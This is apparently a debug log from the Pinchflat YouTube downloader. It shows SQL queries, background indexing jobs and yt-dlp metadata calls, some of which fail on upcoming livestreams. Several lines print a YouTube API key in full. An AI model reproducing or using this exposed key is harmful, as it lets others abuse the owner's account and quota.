"F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:06:38.611 [debug] QUERY OK source="media_items" db=0.8ms idle=75.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:06:38.612 [debug] QUERY OK source="tasks" db=0.1ms idle=76.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800123, 16, ~U[2026-02-10 23:06:38Z], ~U[2026-02-10 23:06:38Z]] 17:06:38.612 [info] {"args":{"id":16},"id":3800085,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":77467,"event":"job:stop","queue_time":504503,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:38.932 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3f/9e/3f9ec6721f27ce8c5f6198153cc9c55998162f4a0d428fe497964b50f590899c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:06:38.932 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:06:38.932 [debug] QUERY OK source="settings" db=0.1ms idle=320.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.932 [debug] QUERY OK source="settings" db=0.0ms idle=320.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.932 [debug] Running yt-dlp command for action: get_media_attributes 17:06:38.947 [debug] QUERY OK source="settings" db=0.0ms idle=335.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.947 [debug] QUERY OK source="settings" db=0.0ms idle=335.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.947 [debug] QUERY OK source="settings" db=0.0ms idle=329.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.947 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2f/7d/2f7d259bb8aa6b869cb2b8bb3104a3155cc266e124708b5036779fed1ccb180c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:06:39.535 [info] {"args":{"id":43},"id":3800086,"meta":{},"system_time":1770764799535651682,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:39.535 [debug] QUERY OK source="sources" db=0.1ms idle=588.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:06:39.536 [debug] QUERY OK source="settings" db=0.1ms idle=588.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:39.536 [debug] QUERY OK source="media_profiles" db=0.0ms idle=588.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:39.536 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:39.536 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:06:39.536 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:39.536 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:39.688 [debug] QUERY OK source="media_items" db=0.8ms idle=151.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:06:39.689 [debug] QUERY OK source="media_items" db=0.3ms idle=153.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:06:39.690 [debug] QUERY OK source="tasks" db=0.1ms idle=154.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800124, 43, ~U[2026-02-10 23:06:39Z], ~U[2026-02-10 23:06:39Z]] 17:06:39.691 [info] {"args":{"id":43},"id":3800086,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":155223,"event":"job:stop","queue_time":538083,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:40.345 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2f/7d/2f7d259bb8aa6b869cb2b8bb3104a3155cc266e124708b5036779fed1ccb180c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:06:40.345 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:06:40.346 [debug] QUERY OK source="media_items" db=0.5ms idle=655.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:06:40.348 [debug] QUERY OK source="tasks" db=0.1ms idle=656.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800125, 19, ~U[2026-02-10 23:06:40Z], ~U[2026-02-10 23:06:40Z]] 17:06:40.348 [info] {"args":{"id":19},"id":3800084,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2814352,"event":"job:stop","queue_time":838719,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:41.537 [info] {"args":{"id":25},"id":3800087,"meta":{},"system_time":1770764801537707574,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:41.537 [info] {"args":{"id":7},"id":3800088,"meta":{},"system_time":1770764801537741094,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:41.538 [debug] QUERY OK source="sources" db=0.1ms idle=1183.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:06:41.538 [debug] QUERY OK source="sources" db=0.1ms idle=1189.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:06:41.538 [debug] QUERY OK source="settings" db=0.1ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.538 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:41.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:41.538 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.538 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.538 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:06:41.538 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:06:41.538 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.538 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:41.538 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:41.539 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:41.669 [debug] QUERY OK source="media_items" db=0.7ms idle=129.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:06:41.672 [debug] QUERY OK source="media_items" db=2.7ms idle=131.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:06:41.673 [debug] QUERY OK source="tasks" db=0.1ms idle=134.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800126, 7, ~U[2026-02-10 23:06:41Z], ~U[2026-02-10 23:06:41Z]] 17:06:41.673 [info] {"args":{"id":7},"id":3800088,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":135770,"event":"job:stop","queue_time":212739,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:41.768 [debug] QUERY OK source="media_items" db=0.5ms idle=94.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", 